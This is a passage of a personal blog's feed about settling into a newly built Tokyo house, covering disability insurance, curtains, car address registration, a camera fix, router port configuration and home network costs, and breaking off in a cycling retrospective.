&lt;p&gt;Many life insurance / income protection insurance allows adding an add-on to receive the benefits when once gets disabled (e.g. &lt;a href=&quot;https://www.sonylife.co.jp/examine/lineup/list/term_assurance/ex05/&quot;&gt;Sony term life&lt;/a&gt;, &lt;a href=&quot;https://www.sonylife.co.jp/examine/lineup/list/term_assurance/ex02/&quot;&gt;Sony income&lt;/a&gt;). It is usually pretty expensive (same or more than the life insurance alone), while the criteria is the same as the disability pension so pretty severe.&lt;/p&gt;

&lt;p&gt;Overall this seems like a good option, although it leaves a big gap between not being able to do your main job and being officially disabled. But it should supplement the disability pension to the level where one can have a good life.&lt;/p&gt;

&lt;h2 id=&quot;employer-provided-group-long-term-disability-gltd-plans&quot;&gt;Employer-provided Group Long Term Disability (GLTD) plans&lt;/h2&gt;

&lt;p&gt;This was &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1q2ug8l/comment/nxg5tc1/&quot;&gt;also recommended on Reddit&lt;/a&gt;, but it seems like a combination of the above two with an added discount due to working for a specific company. Also it might make it easier for people with existing health conditions to sign up.&lt;/p&gt;

&lt;p&gt;My company does offer this, but I don’t like the fact that it gets cancelled if I leave the company. I want to have a life insurance / disability insurance until my kids are adults, but I don’t intend to work for the same company that long. However if I get some disease it might be difficult to get a new insurance, which could force me to stay with the same employer even if better opportunities arise. Thus I prefer to keep my insurance separate from my employer.&lt;/p&gt;

&lt;h2 id=&quot;insurance-from-abroad&quot;&gt;Insurance from abroad&lt;/h2&gt;

&lt;p&gt;None of the above covers what the ideal solution should be, so &lt;a href=&quot;https://www.retirejapan.com/blog/disability-insurance-in-japan/#comment-21912&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1q1s5pj/comment/nxe6uw2/&quot;&gt;people&lt;/a&gt; recommend looking for an insurance in your home country, and ensuring it has world-wide coverage.&lt;/p&gt;

&lt;p&gt;While this can probably solve the problem, I have a major issue with it: knowing how much insurance companies like to reject claims, I’d be worried about the paperwork requirements to claim from abroad (e.g. the documents they would require from a Japanese hospital). Also if I’m in this situation, I’m probably not in the state to travel halfway across to work just to get myself diagnosed again in my home country in the hopes that those papers will be accepted by the insurance company.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;After considering all of this, I decided against having a disability insurance. Part of this comes from the default coverage (18 months of 2/3rd salary), the affordable healthcare, and part from personal circumstances: my wife works, and we both have healthy and working parents and siblings, so if something truly terrible would to happen, I know they would help out.&lt;/p&gt;

&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Huge thanks to &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1q2ug8l/thoughts_on_disability_insurance_%E5%B0%B1%E6%A5%AD%E4%B8%8D%E8%83%BD%E4%BF%9D%E9%99%BA/&quot;&gt;all the thoughtful comments on Reddit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.retirejapan.com/blog/disability-insurance-in-japan/&quot;&gt;https://www.retirejapan.com/blog/disability-insurance-in-japan/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Curtains for our new house</title>
   <link href="https://szabo.jp/2025/12/28/curtains/"/>
   <updated>2025-12-28T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/12/28/curtains</id>
   <content type="html">&lt;p&gt;We just finished &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;building our house in Tokyo with Ichijo&lt;/a&gt; and &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;had the handover at the end of October&lt;/a&gt;. One thing we had to get from a different company were the curtains.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;ichijo-only-does-honeycomb-shades&quot;&gt;Ichijo only does honeycomb shades&lt;/h2&gt;

&lt;p&gt;Ichijo doesn’t handle curtains, they only do honeycomb shades. They offer these in 3 levels (completely dark, medium, and lace) and in manual or electric versions. We got these for most of our windows in completely dark versions for the bedrooms, and in middle for the living room. We chose the electric versions everywhere.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-12-28-curtains/honeycomb-lace.jpg#lb&quot; alt=&quot;Manual lace honeycomb shade&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is possible to add up to 2 honeycomb shades per window, but we only added one.&lt;/p&gt;

&lt;p&gt;The term honeycomb shade is a trademark of &lt;a href=&quot;https://www.hunterdouglas.jp/lineup/products/duette-honeycomb-shade/&quot;&gt;Hunter Douglas&lt;/a&gt; and Ichijo is licensing the technology and making it themselves (per &lt;a href=&quot;https://question.realestate.yahoo.co.jp/knowledge/chiebukuro/detail/11310532781/&quot;&gt;some Japanese forums&lt;/a&gt; and our Ichijo contact). The remotes use radio (presumably 314.84 MHz), and I’m in the process of figuring out how to send the signals (but &lt;a href=&quot;https://web.archive.org/web/20250502232054/https://blog.goo.ne.jp/ir-rf-converter&quot;&gt;this guy found a way with Arduino/ESP8266&lt;/a&gt;, so should be possible).&lt;/p&gt;

&lt;p&gt;However we also wanted to add some regular curtains: lace curtains to the bedroom windows and the balcony door in the living room. And we also had some roll curtain ideas for some of the storage space.&lt;/p&gt;

&lt;p&gt;Ichijo’s answer was: talk to our friends at &lt;a href=&quot;https://www.jias.co.jp/&quot;&gt;Jias&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;jias-the-curtain-company&quot;&gt;Jias, the curtain company&lt;/h2&gt;

&lt;p&gt;We visited the &lt;a href=&quot;https://www.jias.co.jp/showroom/shibuya&quot;&gt;Jias showroom in Shibuya&lt;/a&gt;, and they were very helpful. We could pick out all the curtain rails, lace curtains and roll curtains that we wanted, and they gave us really good advice. They also told us that they will coordinate with Ichijo and have everything installed by the &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;time we get the keys to the house&lt;/a&gt;. This indeed happened, which was really nice, as it was one less thing to worry about.&lt;/p&gt;

&lt;p&gt;We got rails like this (double in case we want to add two sets of curtains):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-12-28-curtains/honeycomb-with-rail.jpg#lb&quot; alt=&quot;Curtain rails together with the honeycomb shade&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For the pantry and the storage at the genkan, we got these manual roll curtains:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-12-28-curtains/rollcurtain.jpg#lb&quot; alt=&quot;Roll curtain at the pantry&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Jias provided premium service, which was also reflected in their prices. Overall we paid the following:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Balcony door lace curtain&lt;/td&gt;
      &lt;td&gt;¥27,400&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Bedroom lace curtains (3 pieces)&lt;/td&gt;
      &lt;td&gt;¥45,400&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Roll curtains (2 pieces)&lt;/td&gt;
      &lt;td&gt;¥45,400&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Curtain rails, double (5 pieces)&lt;/td&gt;
      &lt;td&gt;¥30,800&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Installation cost&lt;/td&gt;
      &lt;td&gt;¥19,800&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Misc expenses&lt;/td&gt;
      &lt;td&gt;¥5,200&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Overall&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;¥174,000&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;(We only got curtains for 4 windows but added 5 rails as one of the future bedrooms is currently used as storage.)&lt;/p&gt;

&lt;p&gt;The price included an Ichijo-partner discount of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;45% off for the lace curtains&lt;/li&gt;
  &lt;li&gt;40% off for the roll curtains&lt;/li&gt;
  &lt;li&gt;35% off for the curtain rails&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So overall their list price would have been about 1.5 times more.&lt;/p&gt;

&lt;p&gt;We actually didn’t get all the lace curtains initially, as we had some left-over curtains from previous apartments, and only after moving in did we realize that we wanted more. So we ordered the bedroom lace curtains later, but Jias let us still use the Ichijo discount.&lt;/p&gt;

&lt;p&gt;We could have bought and installed the curtain rails ourselves, and then get curtains from somewhere like Nitori. Custom size curtains are still expensive, but it would have been definitely less than Jias. On the other hand Jias gave us great advice, and having the rails installed before we moved in was very helpful as it meant one less thing to worry about. Also good quality curtains can last a long time, so getting something higher quality can be cheaper in the end. Overall I’m happy that we went with them, and I would do it again.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Changing the address of the car</title>
   <link href="https://szabo.jp/2025/12/27/changing-the-address-of-the-car/"/>
   <updated>2025-12-27T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/12/27/changing-the-address-of-the-car</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/07/20/choosing-a-car/&quot;&gt;bought a second-hand minivan earlier this year&lt;/a&gt; and recently finished &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;building our house in Tokyo with Ichijo&lt;/a&gt;. So when we moved in, we had to update the address of the car.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;I have moved multiple times before, and it always involved the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Go to the city hall of the old address and register my moving-out&lt;/li&gt;
  &lt;li&gt;Go to the new city hall and register my moving-in. They update the address on the Residence Card and on the My Number Card&lt;/li&gt;
  &lt;li&gt;Go to the police station and ask them to register the new address on the Driving License (they ask to see the Residence Card to verify the new address)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole process takes a few hours and it’s completely free.&lt;/p&gt;

&lt;p&gt;However this time we had a car, which added some additional steps.&lt;/p&gt;

&lt;p&gt;At the local police station (警視庁 武蔵野警察署) we had to apply for a garage certificate (車庫証明書) for the new house. This cost 2,400 yen and we could pick up the certificate 3 days after the application. In these 3 days they actually had a guy come to our house to measure the parking spot. We were just leaving at that time, so he could see that our car could fit comfortably, but he still had to measure the exact size of the lot.&lt;/p&gt;

&lt;p&gt;After we got the garage certificate, we had to go to the nearest Motor Vehicle Inspection and Registration Office (自動車検査登録事務所) which in our case was the &lt;a href=&quot;https://maps.app.goo.gl/bTm7kXYzHB1hgLWA8&quot;&gt;Tama one (多摩自動車検査登録事務所)&lt;/a&gt; near Tachikawa. Luckily both our old and new address falls in this office’s area, thus we could keep our original license plate (which also says Tama 多摩). If one moves between areas, then they will need to get a new license plate which would likely add cost and time to the process.&lt;/p&gt;

&lt;p&gt;We called them ahead of time and they told us to bring the following documents:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the original Vehicle Inspection Certificate (blue paper, 自動車検査証) - the dealership recommended to keep this in the car&lt;/li&gt;
  &lt;li&gt;Resident Record showing the old and new address, without MyNumber (住民票　前住所含む　マイナンバー記載なし) - I got one from a konbini using my MyNumber card&lt;/li&gt;
  &lt;li&gt;the Garage Certificate from the police (車庫証明)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is a form to fill out, which can be pre-filled online on &lt;a href=&quot;https://www.jidoushatouroku-portal.mlit.go.jp/jidousha/kensatoroku/change/index.html&quot;&gt;this website&lt;/a&gt;. I did this and had to use &lt;a href=&quot;https://www.kodokensaku.mlit.go.jp/motas/addresscodesearch?sfdcIFrameOrigin=null&quot;&gt;this other website&lt;/a&gt; to convert my address to their numerical codes. The last step gives you a pdf to print. I made a mistake to let the printer resize the pdf to fit into the printable area, making it a few millimeters smaller. However this meant that in the office they couldn’t process it with their OCR machine, so they asked us to fill out a new form by hand.&lt;/p&gt;

&lt;p&gt;There is another system called &lt;a href=&quot;https://www.oss.mlit.go.jp/portal/index.html&quot;&gt;OSS (ワンストップサービス, One Stop Service)&lt;/a&gt; that is supposedly even faster, but I only saw it while we were already waiting in the office, so I didn’t use it this time.&lt;/p&gt;

&lt;p&gt;Overall the process in the office took about half an hour. We started at the general reception, told them that we just moved, handed over the documents. The guy asked us to fill out the form again as it was slightly smaller than expected, and to pay the 350 yen for the stamp duty in a nearby building. Then we submitted the hand-filled form and the stamp, waited about 10 minutes, got sent to another building, other form to fill, then they gave us the updated Motor Vehicle Inspection Certificate Record Details (自動車検査証記録事項) and gave back the original Vehicle Inspection Certificate (自動車検査証) (which doesn’t have the address written).&lt;/p&gt;

&lt;p&gt;I expected that the police station will be able to update the address of the car (since they can handle driving licenses), so I was a bit surprised that they sent us on this side-quest, but overall it only took a few hours incl. travel and cost less than 3,000 yen, so it wasn’t too bad.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Post-handover change: moving a spotlight to unblock a camera</title>
   <link href="https://szabo.jp/2025/12/23/unblocking-the-camera/"/>
   <updated>2025-12-23T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/12/23/unblocking-the-camera</id>
   <content type="html">&lt;p&gt;We just finished &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;building our house in Tokyo with Ichijo&lt;/a&gt; and &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;had the handover at the end of October&lt;/a&gt;. After moving in we found a problem: the view of one of the security camera was partially blocked by a spotlight installed right under it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;/h2&gt;

&lt;p&gt;At the front of the house we added a motion activated spotlight and a security camera, with the camera on the top and the spotlight below. However both us and the architect missed that the camera is super wide angle, so the spotlight was blocking the camera’s view. Moreover at night the camera’s built-in light was reflected from the spotlight making the issue even worse.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-12-23-unblocking-the-camera/blocked-camera.jpg#lb&quot; alt=&quot;Camera view blocked, anonymised with the help of ChatGPT&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-solution&quot;&gt;The solution&lt;/h2&gt;

&lt;p&gt;I emailed our Ichijo contact and asked if it would be possible to move the camera to the side. I was a bit worried that they will say no, since we asked for the camera and spotlight to be in the current position, and we signed off on the designs, but I also felt that the architect should have known that the camera is wide angle (Ichijo only supports this single type of security camera from Panasonic, so it’s not like we chose something unique). In the end Ichijo fixed it for free without issues, so one more point to them for the great service.&lt;/p&gt;

&lt;p&gt;Ichijo called us to arrange the date, and a contractor came to our house on that day. I originally asked to move the camera, but the guy said that the camera has power and ethernet, so how about moving the spotlight instead? I agreed, so he got to work and moved it within a few hours. He brought new wall-tiles with him, since the tiles often break when being removed (he told me this when I asked). Once completed, there was no sign that would indicate that it wasn’t like this originally.&lt;/p&gt;

&lt;p&gt;I don’t know how indicative this is to the general Ichijo post-handover support, but I really liked that they fixed this issue promptly and without any back-and-forth on who’s fault it was. Experiences like this makes me want to &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;recommend them more&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to configure WAN1 (Ethernet #4) as LAN on a Dream Router 7</title>
   <link href="https://szabo.jp/2025/11/22/remove-wan1-on-dream-router-7/"/>
   <updated>2025-11-22T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/22/remove-wan1-on-dream-router-7</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;just built our house in Tokyo&lt;/a&gt; and &lt;a href=&quot;/2025/11/15/home-network/&quot;&gt;in a recent post I wrote about how I set up our home network using Ubiquiti gear&lt;/a&gt;. The central piece is a &lt;a href=&quot;https://store.ui.com/us/en/products/udr7&quot;&gt;Dream Router 7&lt;/a&gt;, which comes with two WAN ports: WAN1 (2.5 GbE RJ45) and WAN2 (10G SPF+). Our internet is connected to WAN2, and wanted to use WAN1 as a LAN port. This post is about how to configure this.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;I was looking at the config options, but there is no way to re-designate or remove WAN1. Then I found &lt;a href=&quot;https://community.ui.com/questions/How-can-I-redesignate-Ethernet-port-4-as-LAN-instead-of-WAN-Dream-Router-7-SOLVED/1e8aa5cd-6ecc-4ea4-a3cb-b52df6fdebd4&quot;&gt;this forum post&lt;/a&gt; which described the solution. In the end, these are the steps I went through:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Connect the router to the internet via WAN2 (10G SPF+)&lt;/li&gt;
  &lt;li&gt;Go through the setup and stay connected to the router’s network&lt;/li&gt;
  &lt;li&gt;Access the config page of the router via &lt;a href=&quot;http://192.168.0.1&quot;&gt;http://192.168.0.1&lt;/a&gt;. Don’t use the app, as that needs internet and we will take that away&lt;/li&gt;
  &lt;li&gt;Go to the WAN2 config and unassign the port. This will cut the internet connectivity of the router (and thus put the entire network offline). Ensure you stay connected to the network despite it not offering internet access.&lt;/li&gt;
  &lt;li&gt;Go to the WAN1 config and change the port to the SPF+ port.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now the original WAN1 port (Ethernet #4) can be used as a LAN port.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Home network setup for our new house</title>
   <link href="https://szabo.jp/2025/11/15/home-network/"/>
   <updated>2025-11-15T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/15/home-network</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;just built our house in Tokyo&lt;/a&gt; and &lt;a href=&quot;/2025/11/13/internet/&quot;&gt;in a recent post I wrote about how we got internet&lt;/a&gt;. In this post I will share how I set up the network within the house.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;constraints&quot;&gt;Constraints&lt;/h2&gt;

&lt;p&gt;Ichijo houses have floor heating in all rooms. This has a heat reflective layer made of metal (looks a bit like aluminum foil), which partially blocks the radio waves. So many online blogs recommend having one WiFi access point per floor or setting up a mesh WiFi system.&lt;/p&gt;

&lt;p&gt;We got the Nuro 10G internet package which promises up to 10 Gbps speeds. Even though this is the maximum and not guaranteed speed, I wanted to have a network that can use as much of the internet speed as available. This also helps future-proof the setup to some extent, should a faster internet connection become available.&lt;/p&gt;

&lt;p&gt;Both my wife and I use Macbooks for work, so WiFi is preferred over wired internet for the most part.&lt;/p&gt;

&lt;p&gt;We &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;connected everything we could to the internet&lt;/a&gt;, and some of these connect via Ethernet, so these need wired connectivity.&lt;/p&gt;

&lt;h2 id=&quot;during-the-design-of-the-house&quot;&gt;During the design of the house&lt;/h2&gt;

&lt;p&gt;Ichijo uses Cat5e ethernet cables normally, but &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;we asked them to use Cat6A instead for an extra 53,400 yen&lt;/a&gt;. Cat5e only supports &lt;a href=&quot;https://en.wikipedia.org/wiki/Category_5_cable&quot;&gt;speeds up to 1 Gbps&lt;/a&gt;, while &lt;a href=&quot;https://en.wikipedia.org/wiki/Category_6_cable&quot;&gt;Cat6A can do up to 10 Gbps&lt;/a&gt;. Ichijo also doesn’t use conduits (unless specifically requested), so upgrading these in the future is difficult, so I wanted to go with the best they could offer.&lt;/p&gt;

&lt;p&gt;While designing the house, we could also choose the location of the information box (情報ボックス). This is where the optic fiber from Nuro ends, and where all the ethernet cables start. We asked to put the information box into my office on the second floor (between the LDK and the bathroom), which is roughly in the middle of the floor. This is how the box looked after we got the house:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-15-home-network/infobox-empty.jpg#lb&quot; alt=&quot;Ichijo&apos;s information box (情報ボックス) - LTE modem connected to the solar panel&apos;s power conditioner, and the unconnected ethernet cables going to the rooms&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Side note&lt;/em&gt;: the information box came with an LTE modem that Ichijo connected to the solar panel. Ichijo told me that this is used to monitor the solar panel (I can see the data in the &lt;a href=&quot;https://play.google.com/store/apps/details?id=jp.co.ichijo.pcs&quot;&gt;Ichijo solar monitor&lt;/a&gt; app, but Ichijo also monitors the same data). I can connect this to my home network (as long as it can reach the internet), but some of their customers don’t have internet at home, so they just give this modem to everyone. The SIM has a 10 year contract, and after that they ask people to connect to their own network.&lt;/p&gt;

&lt;h2 id=&quot;the-setup&quot;&gt;The setup&lt;/h2&gt;

&lt;p&gt;I had issues with cheap WiFi access points in the past, so I decided to get a high quality solution. Based on a friend’s recommendation, I went with &lt;a href=&quot;https://ui.com/&quot;&gt;Ubiquiti&lt;/a&gt;. They are on the higher end of home networking, but have excellent software support.&lt;/p&gt;

&lt;p&gt;This is the design I came up with:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-15-home-network/design.png#lb&quot; alt=&quot;The network design&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The fiber optics connects to the ONU, provided by Nuro (the ISP). This has a 10 Gbps Ethernet port.&lt;/p&gt;

&lt;p&gt;Ubiquiti setups need a &lt;a href=&quot;https://ui.com/jp/en/cloud-gateways&quot;&gt;cloud gateway&lt;/a&gt; next. To simplify the setup I wanted to get one with &lt;a href=&quot;https://jp.store.ui.com/jp/en/category/cloud-gateways-wifi-integrated&quot;&gt;built-in WiFi&lt;/a&gt;, and decided to go with the &lt;a href=&quot;https://jp.store.ui.com/jp/en/category/cloud-gateways-wifi-integrated/products/udr7&quot;&gt;Dream Router 7&lt;/a&gt; as it offered a good set of features. (I did consider having a separate WiFi AP instead, but then I run into issues with many ports only offering 1 Gbps speed, so decided to keep it within the same device.)&lt;/p&gt;

&lt;p&gt;The Dream Router’s 10 Gbps port is however an SFP+ port and not an Ethernet one, so I had to get a &lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/accessories-modules-fiber/collections/accessories-pro-direct-attach-cables/products/uacc-cm-rj45-mg?variant=uacc-cm-rj45-mg&amp;amp;c=JP&quot;&gt;converter&lt;/a&gt;. With this I got the 10 Gbps connection into the Dream Router.&lt;/p&gt;

&lt;p&gt;The Dream Router only has 4 Ethernet ports, but I have 5 smart home devices and 2 home servers, so I needed more ports. To solve this I added an 8 port switch, the &lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/all-switching/products/usw-lite-8-poe&quot;&gt;Lite 8 PoE&lt;/a&gt;. I also have all the Ethernet cables going to the bedrooms, but we won’t use all of those initially, so I decided to not connect them for now. (The switch was already pretty expensive.)&lt;/p&gt;

&lt;p&gt;Then I needed a WiFi access point for the first floor, and went with a simple &lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/all-wifi/products/u7-lite&quot;&gt;U7 Lite&lt;/a&gt;. This is powered via Power-over-Ethernet. The Dream Router has a port that can drive this, so connected the AP there and placed it into the middle room of the first floor. I was thinking a lot about how to fix it to the ceiling, but then decided to just use double-side tape for now. If it falls off, I will fix it properly, but it’s pretty light.&lt;/p&gt;

&lt;p&gt;During all of this design, I kept an eye on the speed: at each connection I had to ensure that the ports on both end, and also the cable supported the speed I wanted. Since we mainly use WiFi, it also mattered what speed that can support. The latest WiFi standard is WiFi 7, however none of our device supports it yet. Still for future-proofing I wanted our setup to have it.&lt;/p&gt;

&lt;p&gt;Overall this was my shopping list:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Model&lt;/th&gt;
      &lt;th&gt;Purpose&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/all-cloud-gateways/products/udr7&quot;&gt;Dream Router 7&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Cloud Gateway with WiFi 7 (main router)&lt;/td&gt;
      &lt;td&gt;¥50,300&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/accessories-modules-fiber/collections/accessories-pro-direct-attach-cables/products/uacc-cm-rj45-mg?variant=uacc-cm-rj45-mg&amp;amp;c=JP&quot;&gt;SFP+ to RJ45 Adapter&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;To connect the ONU to the router&lt;/td&gt;
      &lt;td&gt;¥11,700&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/all-switching/products/usw-lite-8-poe&quot;&gt;Lite 8 PoE&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;8 port switch&lt;/td&gt;
      &lt;td&gt;¥18,900&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://jp.store.ui.com/jp/ja/category/all-wifi/products/u7-lite&quot;&gt;U7 Lite&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;WiFi 7 Access Point&lt;/td&gt;
      &lt;td&gt;¥17,800&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;After adding a few cables, the total price was 100,743 yen. Pretty pricey, but hopefully should last a decade or so.&lt;/p&gt;

&lt;p&gt;After setting it all up, the information box looked like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-15-home-network/infobox.jpg#lb&quot; alt=&quot;Black box on the right is the ONU, egg in the middle is the Dream Router, switch is on the top&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I will organize the cables better later, and also remove the LTE modem as I want to connect the solar to my own network in order to get the data into HomeAssistant.&lt;/p&gt;

&lt;h2 id=&quot;speed-test&quot;&gt;Speed test&lt;/h2&gt;

&lt;p&gt;The Dream Router has a built-in functionality to do a speed test which reports 3.0-3.5 Gbps download and 1.4-2.4 Gbps upload speeds. Not exactly 10 Gbps, but still super fast.&lt;/p&gt;

&lt;p&gt;Testing the speed on the WiFi gave me 800 Mbps down, 350 Mbps up on both floors, which is very good.&lt;/p&gt;

&lt;p&gt;There is one potential issue: my office is next to the kitchen, and we covered that wall with a metal plate so that magnetic tools (hooks, shelves, etc.) can be attached to it. This seems to block some of the radio waves, making the WiFi slower in the LDK. If this becomes an issue, then I will need to add another WiFi AP in the living room (there is an Ethernet port behind the TV, so I can use that), and with that we will have full coverage of the second floor. But until this becomes an issue, we will use it as-is.&lt;/p&gt;

&lt;h2 id=&quot;update-after-1-month&quot;&gt;Update after 1 month&lt;/h2&gt;

&lt;p&gt;One month after moving this indeed became an issue: the magnetic wall is blocking some of the radio, but normally it still worked fine. However right at the edge of the magnetic wall is the microwave oven, directly in the line from the WiFi AP to the TV. Our TV itself is not smart, so we use an older Chromecast. The end result of this setup was that when the microwave was running, then Chromecast would loose connectivity and the video stream would soon stop.&lt;/p&gt;

&lt;p&gt;I didn’t go into debugging whether it’s because the Chromecast only supports 2.4 GHz, or if it would support 5 GHz but the magnetic wall is messing with that. We had an ethernet port behind the TV anyway, so I just added one more WiFi Access Point there. Since I was already using this port for an &lt;a href=&quot;https://osmc.tv/&quot;&gt;OSMC&lt;/a&gt; server, I got a &lt;a href=&quot;https://techspecs.ui.com/unifi/wifi/u7-iw?s=jp&quot;&gt;U7 In-Wall&lt;/a&gt; which offers two output Ethernet ports, letting me continue to have the OSMC on wired network.&lt;/p&gt;

&lt;p&gt;I paid 28,360 yen for this (including a few extra cables) bringing the cost of the overall setup to 129,103 yen.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Cycling all around Japan</title>
   <link href="https://szabo.jp/2025/11/14/cycling-all-around-japan/"/>
   <updated>2025-11-14T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/14/cycling-all-around-japan</id>
   <content type="html">&lt;p&gt;I recently sold my roadbike, so it is a good time to look back on the around 10,000 km that I rode it during the last 5 years.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;buying-the-bike&quot;&gt;Buying the bike&lt;/h2&gt;

&lt;p&gt;Before coming to Japan, I used to commute to work by bicycle, so after arrival I quickly bought a simple, commuter bike. Then the pandemic hit, and I started to cycle more and more. A friend let me try his roadbike, and I was hooked. The ease of flying through the landscape made me want more of it. So I bought a roadbike, specifically a &lt;a href=&quot;/2023/01/02/vitus-zenium-2020-specs/&quot;&gt;Vitus Zenium Road Bike (Tiagra) 2020&lt;/a&gt;, an entry-level carbon frame bike:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-14-cycling-all-around-japan/new_bike.jpg#lb&quot; alt=&quot;My Vitus Zenium road bike, shortly after I bought it&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I ordered it from &lt;a href=&quot;https://www.chainreactioncycles.com/&quot;&gt;https://www.chainreactioncycles.com/&lt;/a&gt;, and they shipped it from the UK, so I had to pay import duties on arrival. Overall I spent around 200,000 yen:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;129,999 yen for the bike&lt;/li&gt;
  &lt;li&gt;9,704 yen for shipping&lt;/li&gt;
  &lt;li&gt;20,000 yen or so for duties (I don’t remember exactly)&lt;/li&gt;
